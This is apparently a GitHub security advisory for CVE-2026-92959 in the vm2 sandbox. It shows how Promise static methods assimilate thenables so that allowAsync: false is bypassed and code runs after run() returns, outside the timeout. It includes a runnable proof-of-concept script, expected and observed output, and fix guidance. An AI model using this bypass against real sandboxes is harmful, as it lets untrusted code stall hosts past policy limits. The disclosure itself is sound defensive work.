CVE-2026-92959: vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
### Summary When `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned. This bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete. ### Details The documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled: - `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`. - `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false. However, Promise static methods are still exposed and rebound to `localPromise`: - `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`. - `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`. - `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`. - `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`. - `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`. Those wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached. `NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well. The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\u`, so `lib/transformer.js:82-89` returns without AST parsing. ### PoC Maintainer-runnable clean-checkout recipe: ```sh npm install node - <<'NODE' const {VM, NodeVM} = require('./'); async function runVmCase(name, code) { const events = []; const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } async function runNodeVmCase(name, code) { const events = []; const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}}); try { const ret = vm.run(code); console.log(`${name}: returned ${ret}`); } catch (e) { console.log(`${name}: threw ${e.name}:${e.message}`); } await new Promise(resolve => setImmediate(resolve)); console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`); } (async () => { await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`); await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`); await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`); await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`); await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`); await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`); await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`); await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`); const timeoutEvents = []; const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}}); const started = Date.now(); const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`); const afterRun = Date.now(); await new Promise(resolve => setImmediate(resolve)); console.log(`timeout case returned: ${ret}`); console.log(`timeout case runReturnedInMs: ${afterRun - started}`); console.log(`timeout case events: ${timeoutEvents.length}`); console.log(`timeout case elapsedMs: ${Date.now() - started}`); })(); NODE ``` Expected vulnerable output pattern: ```text VM Promise.resolve thenable: returned 1 VM Promise.resolve thenable events: resolve-thenable VM Promise.all thenable: returned 1 VM Promise.all thenable events: all-thenable VM Promise.race thenable: returned 1 VM Promise.race thenable events: race-thenable VM Promise.any thenable: returned 1 VM Promise.any thenable events: any-thenable VM Promise.allSettled thenable: returned 1 VM Promise.allSettled thenable events: allSettled-thenable VM direct then negative control: threw VMError:Async not available VM direct then negative control events: <none> NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then negative control: threw VMError:Async not available NodeVM direct then negative control events: <none> timeout case returned: 1 timeout case runReturnedInMs: 0 timeout case events: 1 timeout case elapsedMs: 35 ``` Observed local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser: ```json { "results": [ ["Promise.resolve thenable", "run-returned", 1], ["Promise.resolve thenable events", "resolve-thenable"], ["Promise.all thenable", "run-returned", 1], ["Promise.all thenable events", "all-thenable"], ["Promise.race thenable", "run-returned", 1], ["Promise.race thenable events", "race-thenable"], ["Promise.any thenable", "run-returned", 1], ["Promise.any thenable events", "any-thenable"], ["Promise.allSettled thenable", "run-returned", 1], ["Promise.allSettled thenable events", "allSettled-thenable"], ["direct then control", "threw", "VMError:Async not available"], ["direct then control events", "<none>"] ], "timeoutCase": { "ret": 1, "runReturnedInMs": 0, "events": [1779866562491], "elapsedMs": 35 } } ``` Observed `NodeVM` variant output: ```text NodeVM Promise.resolve thenable: returned 1 NodeVM Promise.resolve thenable events: nodevm-resolve-thenable NodeVM direct then control: threw VMError:Async not available NodeVM direct then control events: <none> ``` ### Impact Applications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it. A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE. Negative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation. ### Suggested remediation When `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code. Add regression tests for `VM` and `NodeVM` that verify: - `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`. - `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements. - Direct `.then()` remains blocked. - A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation. ## Variant analysis summary Confirmed variants: - `VM({allowAsync:false}).run('Promise.resolve(thenable)')` - `VM({allowAsync:false}).run('Promise.all([thenable])')` - `VM({allowAsync:false}).run('Promise.race([thenable])')` - `VM({allowAsync:false}).run('Promise.any([thenable])')` - `VM({allowAsync:false}).run('Promise.allSettled([thenable])')` - `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')` Negative cases checked: - Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`. - NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
Recommended action
Recommended action
Upgrade affected packages to a patched version: vm2 3.11.8.
Technical details
- Vendor
- Not specified
- Product
- vm2
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source